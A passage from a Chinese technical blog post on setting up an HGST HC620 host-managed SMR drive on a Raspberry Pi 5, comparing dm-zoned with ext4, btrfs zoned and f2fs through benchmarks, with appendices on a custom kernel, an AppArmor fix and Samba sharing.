class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> modprobe dm-zoned</span><br><span class="line"><span class="built_in">sudo</span> dmzadm --format /dev/sda --force   <span class="comment"># 注意 dmzadm 的选项必须放在设备参数之后，盘上有旧文件系统残留时需 --force</span></span><br><span class="line"><span class="built_in">sudo</span> dmzadm --start /dev/sda</span><br><span class="line"><span class="built_in">ls</span> /dev/mapper/</span><br></pre></td></tr></table></figure><p>需要 <code>--force</code> 的原因如下：<code>blkzone reset</code> 只重置顺序写区，<strong>常规区的数据不受影响</strong>，上一文件系统写在常规区中的超级块会一直残留。本文连续测试多个方案，每次格式化时都会检测到前一文件系统的签名，因此强制格式化属于正常操作。这同时也说明 reset 并不能清空整块盘，如需彻底清除数据，必须对常规区单独覆写。</p><p>实际执行 format 时，工具先报告 52156 个区的布局，然后重置全部顺序写区，写入<strong>两套互为备份的元数据</strong>（主集位于块 0，副集位于块 131072，各含映射表和位图），随后用 <code>--start</code> 建立映射。映射设备名为 <code>dmz-&lt;盘序列号&gt;</code>。</p><p>之后按常规流程，把 <code>/dev/mapper/dmz-&lt;盘序列号&gt;</code> 当作普通盘使用：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> mkfs.ext4 /dev/mapper/dmz-&lt;盘序列号&gt;</span><br><span class="line"><span class="built_in">sudo</span> mount /dev/mapper/dmz-&lt;盘序列号&gt; /mnt/hc620</span><br></pre></td></tr></table></figure><p>开机自动挂载需要注意顺序：必须先执行 <code>dmzadm --start</code> 创建映射设备，再检查并挂载映射设备上的 ext4 文件系统。不能直接把 <code>/dev/mapper/dmz-*</code> 写进 fstab，否则启动早期映射设备尚未出现，挂载会失败。</p><p>首先取得原始 HC620 的稳定设备路径：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ls</span> -l /dev/disk/by-id/ | grep HSH721414ALE6M0</span><br></pre></td></tr></table></figure><p>假设实际路径为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/dev/disk/by-id/ata-HGST_HSH721414ALE6M0_&lt;盘序列号&gt;</span><br></pre></td></tr></table></figure><p>生成对应的 systemd device unit 名：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemd-escape --path --suffix=device \</span><br><span class="line">  /dev/disk/by-id/ata-HGST_HSH721414ALE6M0_&lt;盘序列号&gt;</span><br></pre></td></tr></table></figure><p>输出类似：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dev-disk-by\x2did-ata\x2dHGST_HSH721414ALE6M0_&lt;盘序列号&gt;.device</span><br></pre></td></tr></table></figure><p>然后创建服务：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/systemd/system/dm-zoned-hc620.service</span></span><br><span class="line"><span class="section">[Unit]</span></span><br><span class="line"><span class="attr">Description</span>=Activate dm-zoned mapping for HC620</span><br><span class="line"><span class="attr">Requires</span>=dev-disk-by\x2did-ata\x2dHGST_HSH721414ALE6M0_&lt;盘序列号&gt;.device</span><br><span class="line"><span class="attr">After</span>=dev-disk-by\x2did-ata\x2dHGST_HSH721414ALE6M0_&lt;盘序列号&gt;.device</span><br><span class="line"></span><br><span class="line"><span class="section">[Service]</span></span><br><span class="line"><span class="attr">Type</span>=<span class="literal">on</span>eshot</span><br><span class="line"><span class="attr">RemainAfterExit</span>=<span class="literal">yes</span></span><br><span class="line"><span class="attr">ExecStartPre</span>=/usr/sbin/modprobe dm-zoned</span><br><span class="line"><span class="attr">ExecStart</span>=/usr/sbin/dmzadm --start /dev/disk/by-id/ata-HGST_HSH721414ALE6M0_&lt;盘序列号&gt;</span><br><span class="line"><span class="attr">ExecStop</span>=/usr/sbin/dmzadm --stop /dev/disk/by-id/ata-HGST_HSH721414ALE6M0_&lt;盘序列号&gt;</span><br></pre></td></tr></table></figure><p>这里不写 <code>[Install]</code>，也不执行 <code>systemctl enable dm-zoned-hc620.service</code>。服务由后面的 fstab 挂载单元按需启动，避免在硬盘未连接时被系统单独启动。</p><p>先手动启动一次映射，确认映射设备名称：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl start dm-zoned-hc620.service</span><br><span class="line"><span class="built_in">ls</span> -l /dev/mapper/</span><br></pre></td></tr></table></figure><p>假设映射设备为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/dev/mapper/dmz-&lt;盘序列号&gt;</span><br></pre></td></tr></table></figure><p>在映射设备上创建 ext4 文件系统，然后查询其文件系统 UUID：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> mkfs.ext4 -L HC620_DATA /dev/mapper/dmz-&lt;盘序列号&gt;</span><br><span class="line"><span class="built_in">sudo</span> blkid /dev/mapper/dmz-&lt;盘序列号&gt;</span><br></pre></td></tr></table></figure><p>注意，这里需要记录的是 <strong>dm-zoned 映射设备上 ext4 的 UUID</strong>，不是原始 HC620 的设备路径或序列号。</p><p>创建挂载点：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /mnt/hc620</span><br></pre></td></tr></table></figure><p>随后在 <code>/etc/fstab</code> 中加入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UUID=&lt;ext4文件系统UUID&gt; /mnt/hc620 ext4 defaults,noatime,nofail,x-systemd.requires=dm-zoned-hc620.service,x-systemd.device-timeout=60s 0 2</span><br></pre></td></tr></table></figure><p>各选项作用如下：</p><ul><li><code>noatime</code>：读取文件时不更新访问时间，减少不必要的写入。</li><li><code>nofail</code>：硬盘未连接、映射失败或文件系统损坏时，不阻止系统继续启动。</li><li><code>x-systemd.requires=dm-zoned-hc620.service</code>：挂载前先启动 dm-zoned 映射服务，并等待服务成功完成。</li><li><code>x-systemd.device-timeout=60s</code>：最多等待映射设备出现 60 秒。</li><li>最后的 <code>0 2</code>：不做 dump，并允许在启动时对该非根 ext4 文件系统执行 fsck。</li></ul><p>修改完成后重新载入 systemd 配置并测试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl daemon-reload</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果当前已经挂载，先按正确顺序停止</span></span><br><span class="line"><span class="built_in">sudo</span> systemctl stop mnt-hc620.mount</span><br><span class="line"><span class="built_in">sudo</span> systemctl stop dm-zoned-hc620.service</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只启动挂载单元，验证它能否自动拉起 dm-zoned 服务</span></span><br><span class="line"><span class="built_in">sudo</span> systemctl start mnt-hc620.mount</span><br></pre></td></tr></table></figure><p>检查服务、映射和挂载状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">systemctl status dm-zoned-hc620.service</span><br><span class="line">systemctl status mnt-hc620.mount</span><br><span class="line">dmsetup <span class="built_in">ls</span></span><br><span class="line">findmnt /mnt/hc620</span><br></pre></td></tr></table></figure><p>确认无误后再重启测试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> reboot</span><br></pre></td></tr></table></figure><p>重启后检查：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">findmnt /mnt/hc620</span><br><span class="line">systemctl status dm-zoned-hc620.service</span><br><span class="line">journalctl -b -u dm-zoned-hc620.service</span><br></pre></td></tr></table></figure><p><code>dmzadm</code> 官方支持使用底层 zoned 设备执行 <code>--start</code> 和 <code>--stop</code>。默认安装路径为 <code>/usr/sbin/dmzadm</code>，但仍应以 <code>command -v dmzadm</code> 的实际输出为准。</p><p>性能实测：</p><p>顺序写 <strong>98 MB/s</strong>，顺序读 <strong>148 MB/s</strong>，兼容层对顺序流的损耗不大，与 btrfs 处于同一水平，均低于 f2fs 的满速。4K 随机写 <strong>1.9 MB/s，约 456 IOPS</strong>，平均延迟 17.5ms，<strong>99 分位 139ms，长尾拖到秒级</strong>（99.9 分位 514ms，最大 1.4s）。这是三个方案中唯一让真实随机写直接落盘的方案：写入直接进入常规区缓冲，不经过追加转换，机械盘随机写的物理规律全部生效。456 IOPS 对 7200 转硬盘而言已经不错（缓冲区域集中在盘首，寻道距离较短），但与追加转换方案相比仍有数量级的差距，延迟长尾也很明显。小文件方面，ext4 的页缓存路径表现正常：内核源码树解压 8.7 秒，删除加 sync 约 2 秒。按第十节的测试方法，180 秒的随机写全部落在 131 GiB 缓冲区之内，未触发大规模回收。回收发生时的性能衰减仅依据机制推断，未做实测。</p><h2 id="7-方案二：btrfs-zoned，原生支持但有功能限制">7 方案二：btrfs zoned，原生支持但有功能限制</h2><p>btrfs 从内核 5.12 起原生支持 zoned 模式，把块组（block group）直接对齐到 256MiB 的区上。写时复制（CoW）本身不做原地改写，与顺序写约束天然一致。这个方案不需要模拟层，也没有额外的数据搬运开销，是三个方案中最贴近盘本身工作方式的一种。</p><p>格式化只多一个 <code>-O zoned</code> 参数，但我的第一次尝试直接失败了。当时盘上还残留着上一任使用者的 f2fs 文件系统，卷标 happy_every_day，说明这块盘此前确实被当作 zoned 盘正常使用过。加 <code>-f</code> 强制格式化时，mkfs.btrfs 在 <code>Resetting device zones /dev/sda (52156 zones)</code> 阶段报 <code>failed to reset device zones: Input/output error</code> 后退出。</p><p>排查过程如下。手动对单个顺序写区发重置（<code>blkzone reset -o 274726912 -c 1</code>）成功。<code>blkzone reset /dev/sda</code> 全盘重置同样成功，仅耗时 2.5 秒，内核对整盘范围会走优化路径，即带 ALL 位的单条 RESET WRITE POINTER。重置后全盘扫描（<code>blkzone report | grep -vE &quot;0\(nw\)|1\(em\)&quot;</code>）未发现任何 read-only 或 offline 异常区。而 btrfs-progs 源码里 mkfs 的重置是<strong>逐区</strong>进行的，每个非空的顺序写区单独发一条 BLKRESETZONE。首次失败时盘上有 f2fs 数据和数千个非空区，失败就发生在这条长命令流中的某一处。单区重置与 ALL 位重置均正常，异常区为零，具体是哪条命令、为何失败，已无法确认。</p><p>实用结论：<strong>对非空的二手盘，mkfs 之前先手动全盘重置</strong>。这样既能绕开逐区重置的长命令流，也能把格式化失败与盘况问题解耦：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install btrfs-progs</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> blkzone reset /dev/sda           <span class="comment"># 约 2.5 秒，一条命令重置全部顺序写区</span></span><br><span class="line"><span class="built_in">sudo</span> mkfs.btrfs -f -O zoned /dev/sda</span><br><span class="line"><span class="built_in">sudo</span> mount /dev/sda /mnt/hc620</span><br></pre></td></tr></table></figure><p>预清空后 mkfs 一次通过，关键输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Zoned device:       yes</span><br><span class="line">  Zone size:        256.00MiB</span><br><span class="line">  Mode:             host managed</span><br><span class="line">Sector size:        4096</span><br><span class="line">Filesystem size:    12.73TiB</span><br><span class="line">Number of devices:  1</span><br><span class="line">  ID  SIZE      ZONES  PATH</span><br><span class="line">   1  12.73TiB  52156  /dev/sda</span><br></pre></td></tr></table></figure><p>使用前要清楚 zoned 模式的功能限制，这些限制都源于无法原地更新这个物理事实：</p><ul><li><code>nodatacow</code> 不可用。没有 CoW 就意味着必须原地改写，物理上不允许，因此给虚拟机镜像或数据库关闭 CoW 这类常见做法在 zoned 模式下不可行。</li><li><code>fallocate</code> 预分配不可用，部分依赖它的软件（某些下载器、qBittorrent 的预分配选项）需要关闭相应功能。</li><li>多设备支持仍有限。较新内核配合 raid-stripe-tree 已支持 RAID0、RAID1 等部分配置，RAID5/6 仍不可用，具体能力高度依赖内核与 btrfs-progs 版本。本文只测试单盘，结论不要直接外推到阵列。</li><li>空间回收的逻辑是先把区内仍然有效的数据搬走，然后才能重置旧区再利用。较新的 btrfs 自带后台 zone reclaim 机制，也可以用 balance 主动整理 block group。长期运行需要持续观察区利用率、回收频率和写放大。</li></ul><p>实测结果（方法与参数见第10节）：顺序写 20GiB 为 <strong>104 MB/s</strong>，带宽在 36–174 MiB/s 间波动，平均延迟 40ms。顺序读 20GiB 为 <strong>154 MB/s</strong>，与常规区的裸盘读速完全一致，文件系统层几乎无损耗。4K 随机写 180 秒为 <strong>7.4 MB/s、约 1800 IOPS</strong>，平均延迟 4.4ms，99 分位 9.9ms。内核源码树解压（约 8 万个小文件）7.7 秒，删除加 sync 约 8 秒。</p><p>随机写这个数字需要单独解释。7200 转机械盘的原地 4K 随机写物理上限大约是一两百 IOPS，这里测出 1800，是 CoW 在 zoned 模式下把随机写<strong>全部转成顺序追加</strong>的结果，盘自始至终处于顺序写状态。代价是延后的：每次改写都落在新位置，旧数据成为等待回收的垃圾，180 秒写入的 1.27GiB 全部是新分配。随机写越多，积累待回收的空间越大，随机写的性能优势和回收压力的累积来自同一个机制。</p><h2 id="8-方案三：f2fs（日志结构文件系统）">8 方案三：f2fs（日志结构文件系统）</h2><p>f2fs 本身是日志结构（log-structured）文件系统，追加写入与垃圾回收是其原生工作方式，与顺序写区的约束一致。zoned 支持随 <code>CONFIG_BLK_DEV_ZONED</code> 自动编译，元数据放在盘首的常规区。容量方面需要注意，在常用的 4KiB 块大小与 32 位块寻址实现下，f2fs 单卷上限约 16TiB，14TB 型号格式化后的 12.7TiB 在上限之内，15TB 型号同样可以容纳。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install f2fs-tools</span><br><span class="line"><span class="built_in">sudo</span> mkfs.f2fs -f -m /dev/sda    <span class="comment"># -m 即 zoned 模式</span></span><br><span class="line"><span class="built_in">sudo</span> mount /dev/sda /mnt/hc620</span><br></pre></td></tr></table></figure><p>mkfs.f2fs（f2fs-tools 1.16.0）在识别盘的过程中独立报出了与 blkzone 一致的布局，其中包括 524 个可随机写区，与第5节的常规区计数互相印证：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Info: Host-managed zoned block device:</span><br><span class="line">      52156 zones, 268435456u zone size(bytes), 524 randomly writeable zones</span><br><span class="line">      65536 blocks per zone</span><br><span class="line">Info: Overprovision ratio = 0.450%</span><br><span class="line">Info: Overprovision segments = 30103 (GC reserved = 29569)</span><br></pre></td></tr></table></figure><p>挂载后自动启用 <code>mode=lfs</code>（严格日志结构写入，zoned 盘必需）、<code>active_logs=6</code> 和 <code>discard</code>。实测结果在三方案中最好。顺序写 <strong>242 MB/s</strong>，顺序读 <strong>244 MB/s</strong>，达到甚至略超官方标称值，具体成因见第10节的带宽分析。4K 随机写 <strong>55.9 MB/s，约 1.36 万 IOPS</strong>（99 分位延迟约 3ms），是 btrfs 的七倍以上。这一优势来自 <code>mode=lfs</code> 的追加写转换与多路活跃日志的批量提交机制。回收的代价同样可以直接观察到，随机写 180 秒后 <code>dirty_segments</code> 从 0 增长到 4099（约 8 GiB 待回收段），与写入量吻合。小文件负载是 f2fs 的弱项，内核源码树解压用时 42.0 秒，而 btrfs 只需 7.7 秒。删除加 sync 约 1.7 秒。</p><h2 id="9-按需：zonefs">9 按需：zonefs</h2><p>如果想直接使用 zone 这层抽象，内核还有一个极简的 zonefs：每个区暴露为一个文件，顺序写区的文件只能追加（append-only），删除内容等于重置区。它不是通用文件系统，而是给自研归档、日志类工具用的接口。需要时安装 <code>zonefs-tools</code>，用 <code>mkzonefs</code> 创建，此处不展开。</p><h2 id="10-性能小结与适用场景">10 性能小结与适用场景</h2><p>三个方案尽量采用一致的测试参数和空盘初始状态，以提高横向可比性。每次更换文件系统前执行 <code>blkzone reset</code> 全盘重置并重新 mkfs，从全空盘开始测试。fio 统一使用 <code>--direct=1 --ioengine=libaio</code>，顺序读写 <code>bs=1M iodepth=4 size=20G</code>，4K 随机写 <code>iodepth=8</code> 时间制 180 秒。另用解压内核源码树（约 8 万个小文件）测试真实元数据负载。注意 fio 必须加 <code>--fallocate=none</code>，fio 默认用 fallocate 预分配测试文件，在 btrfs zoned 上会直接失败，这与第7节所列的限制一致。裸盘顺序读基线（只读安全）分别测盘首与盘尾各 8G，用于验证外圈到内圈的速度衰减。但 zoned 盘在测量上有一个需要注意的问题：<strong>空区（写指针之后）的读取不落盘</strong>，由盘的电路直接返回零，测出的是 SATA 链路速度而不是盘片速度（实测空区读出 374MB/s，超出盘片的物理能力）。内圈基线必须先用 <code>fio --zonemode=zbd</code> 合法写入数据再读。随机写结果的解读要注意边界：dm-zoned 的短时随机写基本落在 131 GiB 常规区缓冲内，不触发大规模回收，数据仅代表缓冲未满时的表现。长期回收行为未纳入实测，只作机制层面的说明，受机械盘速度限制，这无法在一轮基准测试的时间内充分覆盖。</p><table><thead><tr><th>项目</th><th>btrfs zoned</th><th>f2fs</th><th>dm-zoned + ext4</th></tr></thead><tbody><tr><td>顺序写（20GiB，1MiB）</td><td>104 MB/s</td><td><strong>242 MB/s</strong></td><td>98 MB/s</td></tr><tr><td>顺序读（20GiB，1MiB）</td><td>154 MB/s</td><td><strong>244 MB/s</strong></td><td>148 MB/s</td></tr><tr><td>4K 随机写（180s）</td><td>7.4 MB/s ≈ 1800 IOPS</td><td><strong>55.9 MB/s ≈ 13.6k IOPS</strong></td><td>1.9 MB/s ≈ 456 IOPS</td></tr><tr><td>随机写 99 分位延迟</td><td>9.9 ms</td><td>约 3 ms</td><td>139 ms（长尾至秒级）</td></tr><tr><td>内核源码解压（约 8 万文件）</td><td><strong>7.7 s</strong></td><td>42.0 s</td><td>8.7 s</td></tr><tr><td>删除 + sync</td><td>约 8.2 s</td><td>约 1.7 s</td><td>约 2.0 s</td></tr></tbody></table><p>裸盘基线（fio 固定 1 MiB、direct）：常规区读 154 MB/s，内圈写/读约 116 MB/s。</p><p>三个方案各有侧重。<strong>要吞吐和稳定的写延迟选 f2fs</strong>，顺序写达到满速，随机写通过 lfs 追加转换获得数量级优势，代价是小文件性能较差和功能相对单薄。<strong>要功能生态选 btrfs</strong>，快照、校验、send/receive 俱全，小文件最快，顺序写性能有折损。<strong>要兼容性选 dm-zoned</strong>，上层是普通的 ext4，对软件没有特殊要求，但随机写是三者中唯一回落到机械盘物理水平的，长尾延迟高出一个数量级，且回收开销由设备映射层承担，而不是由文件系统承担。</p><p>带宽数据需要结合实测分析。裸盘基线为常规区读 154 MB/s、内圈写读约 116 MB/s，我最初将这一差距归因于关闭 NCQ 的代价。但 f2fs 随后跑出 <strong>242/244 MB/s</strong> 的顺序写读，达到甚至略超 14TB 型号官方典型持续传输率 233 MB/s（约 223 MiB/s，外圈较快、向内圈递减），说明这条链路在 noncq 下依然可以达到满速。裸设备基线只有 154 MB/s，而 f2fs 文件读写达到 242/244 MB/s，说明瓶颈并非 SATA 链路或关闭 NCQ 本身。差异可能与实际落盘 LBA、请求合并方式、文件系统提交模式以及测试文件的物理布局有关。本文没有通过 filefrag、blktrace 等手段进一步核对请求与物理位置，因此不对具体原因下确定结论。可以确认的是，在本文实际文件负载下，关闭 NCQ 并未限制顺序吞吐接近该盘的官方典型值。btrfs 顺序写 104 MB/s，存在较明显的额外开销。</p><p>场景判断：</p><p><strong>适合</strong>：以大文件、批量、追加写为主的负载。媒体归档、一次写入长期保存的冷数据、备份仓库（restic、borg 的日常备份以追加写为主）。这类负载最容易发挥 HM-SMR 的优势，但&quot;适合&quot;不等于&quot;全程无感&quot;。备份工具的 prune、compact、重建索引阶段会产生删除和元数据改写，rsync 增量同步会改写既有文件，NVR 类软件可能频繁更新索引数据库。这些维护阶段的延迟和写放大需要单独测试评估，只测一轮全量上传是不够的。</p><p><strong>不适合</strong>：用作日常 NAS 数据盘（家庭 NAS 的写入远比想象中随机）、BT 下载盘（大量乱序写+预分配）、数据库或虚拟机存储。dm-zoned 能让这些场景运行，但回收压力大时延迟波动会非常明显。</p><p>总结：<strong>它的低价来自负载限制。负载匹配时性价比很高，不匹配时不建议购买。</strong></p><h2 id="附录-A：Raspberry-Pi-OS-自编内核路线">附录 A：Raspberry Pi OS 自编内核路线</h2><p>如果这台 Pi 还要承担 Pi OS 生态绑定的任务（比如 libcamera/rpicam 摄像头栈），可以走自编内核路线。基于官方 defconfig 补上以下选项：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CONFIG_BLK_DEV_ZONED=y    # 必需，块层 zoned 支持，f2fs/btrfs 的 zoned 路径随之启用</span><br><span class="line">CONFIG_DM_ZONED=m         # 按需，方案一 dm-zoned</span><br><span class="line">CONFIG_ZONEFS_FS=m        # 按需，zonefs</span><br></pre></td></tr></table></figure><p>流程与官方文档的内核编译指南一致：拉取 <code>raspberrypi/linux</code> 对应分支，执行 <code>make bcm2712_defconfig</code>，然后在 <code>menuconfig</code> 中启用上述选项（Enable the block layer → Zoned block device support；Device Drivers → Multiple devices driver support → Device mapper support → Drive-managed zoned block device target support；File systems → zonefs），最后编译安装。完整的编译与长期维护流程（交叉编译环境、config fragment 脚本化、独立内核名安装布局、一行回滚、跟版节奏）我会另文展开。</p><p>需要注意的是，<strong>自编内核不在 apt 更新体系内</strong>，但维护工作可以做得比每次更新后被动重编更有条理。推荐的做法是编译时用 <code>LOCALVERSION</code> 起独立版本名（如 <code>-zoned</code>），内核镜像安装为独立文件（如 <code>/boot/firmware/kernel-zoned.img</code>），并在 <code>config.txt</code> 里用 <code>kernel=kernel-zoned.img</code> 指定加载。这样官方内核更新只覆盖它自己的 <code>kernel_2712.img</code>，与自编内核互不干扰，系统其余部分可以照常 <code>apt full-upgrade</code>。维护由此变成主动决定跟版节奏，例如按月跟进一次，交叉编译约消耗二十分钟机器时间，config 改动固化成 fragment 加构建脚本即可。代价是两次跟版之间内核无法获得安全补丁，因此该方案适合内网存储机，不适合暴露面大的场景。另外需要排除一个看似可行的思路：DKMS 式的模块外挂并不存在。<code>CONFIG_BLK_DEV_ZONED</code> 是编入内核本体的块层核心选项，<code>dm-zoned</code> 和 <code>zonefs</code> 模块都依赖它，因此不存在不重编内核的替代路径。</p><h2 id="附录-B：解决-Rust-coreutils-的-AppArmor-日志刷屏">附录 B：解决 Rust coreutils 的 AppArmor 日志刷屏</h2><p>Ubuntu 26.04 将 coreutils 替换为 Rust 实现（uutils）。新实现下 <code>who</code> 等命令启动时会读取本地化目录 <code>/usr/share/coreutils/locales/</code>，而配套的 AppArmor profile 没有放行该路径，读取被拒绝后 <code>who</code> 没有任何输出。部分 SSH 客户端的远程监控栏每秒调用一次 <code>who</code>，每次调用都会写入一条 audit 记录，日志因此持续刷屏。解决方法是向该 profile 的 local 覆盖文件追加一条读取规则。使用 local 覆盖而不是直接修改 profile 本体，是因为软件包更新不会改动 local 文件，规则可以长期保留：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update &amp;&amp; <span class="built_in">sudo</span> apt upgrade    <span class="comment"># 先看是否已有官方修复</span></span><br><span class="line"><span class="built_in">sudo</span> aa-status | grep <span class="built_in">who</span>              <span class="comment"># 实测 profile 名即为 who</span></span><br><span class="line"><span class="comment"># Ubuntu 已为每个 profile 预置 local 覆盖文件，直接追加规则即可</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;/usr/share/coreutils/locales/** r,&quot;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> -a /etc/apparmor.d/local/who</span><br><span class="line"><span class="built_in">sudo</span> apparmor_parser -r /etc/apparmor.d/who</span><br><span class="line"><span class="built_in">who</span>                                    <span class="comment"># 应恢复正常输出，audit 不再新增</span></span><br></pre></td></tr></table></figure><p>规则生效后 <code>who</code> 输出恢复正常，audit 日志停止刷屏。</p><h2 id="附录-C：通过-SMB-共享给-Windows">附录 C：通过 SMB 共享给 Windows</h2><p>归档盘只在树莓派本地读写不够方便，这一节用 Samba 把它共享出去，让 Windows 资源管理器直接访问。以下按正文的挂载点 <code>/mnt/hc620</code> 操作。</p><h3 id="C-1-固定挂载">C.1 固定挂载</h3><p>共享服务要求盘在开机后自动就位。在 <code>/etc/fstab</code> 追加一行（UUID 用 <code>sudo blkid /dev/sda</code> 查询）：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UUID=&lt;UUID占位&gt;  /mnt/hc620  btrfs  noatime,compress=zstd,nofail  0  0</span><br></pre></td></tr></table></figure><p><code>noatime</code> 省去纯读取触发的元数据回写，<code>compress=zstd</code> 能为归档数据节省一部分容量（照片、视频等本身已压缩的数据会自动跳过），<code>nofail</code> 保证盘不在位时系统照常启动。修改后执行 <code>sudo mount -a</code> 验证无报错。</p><h3 id="C-2-安装与共享配置">C.2 安装与共享配置</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install samba wsdd2</span><br></pre></td></tr></table></figure><p><code>wsdd2</code> 负责让共享出现在 Windows 的&quot;网络&quot;列表中。现代 Windows 已不再使用 NetBIOS 发现主机，缺少这个组件时共享功能本身正常，但在网络邻居中不可见，这是这套配置里最容易遗漏的一点。</p><p>创建共享目录并将属主改为当前用户：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p /mnt/hc620/archive</span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">chown</span> <span class="variable">$USER</span>:<span class="variable">$USER</span> /mnt/hc620/archive</span><br></pre></td></tr></table></figure><p>在 <code>/etc/samba/smb.conf</code> 末尾追加：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[archive]</span></span><br><span class="line">   <span class="attr">path</span> = /mnt/hc620/archive</span><br><span class="line">   read <span class="attr">only</span> = <span class="literal">no</span></span><br><span class="line">   inherit <span class="attr">permissions</span> = <span class="literal">yes</span></span><br></pre></td></tr></table></figure><p>设置 Samba 密码（与系统密码独立）并重启服务：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> smbpasswd -a <span class="variable">$USER</span></span><br><span class="line"><span class="built_in">sudo</span> systemctl restart smbd wsdd2</span><br></pre></td></tr></table></figure><h3 id="C-3-Windows-端访问">C.3 Windows 端访问</h3><p>直接在地址栏输入：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\\&lt;树莓派主机名或 IP&gt;\archive</span><br></pre></td></tr></table></figure><p>凭据使用上一步的系统用户名和 Samba 密码。首次连接勾选&quot;记住凭据&quot;，之后可右键映射为网络驱动器。</p><p><img src="https://img.gulugulublog.com/posts/hc620-hm-smr-raspberry-pi-5/20260724214056297.png" alt=""></p><p>注：Pi 5 连接无线网络下的传输速度</p><h3 id="C-4-使用方式">C.4 使用方式</h3><p>最后提醒一点：这块盘的正确使用方式是<strong>整文件拷入、只读取出</strong>，共享目录按归档用途使用即可。在共享上直接编辑文件、频繁原地改写，相当于沿用 CMR 盘的使用习惯对待 HM-SMR 加 CoW 文件系统的组合。这样做可以工作，但每次改写都会触发正文介绍过的整段 CoW 开销。</p><h2 id="附录-D：定期-scrub-巡检">附录 D：定期 scrub 巡检</h2><p>btrfs 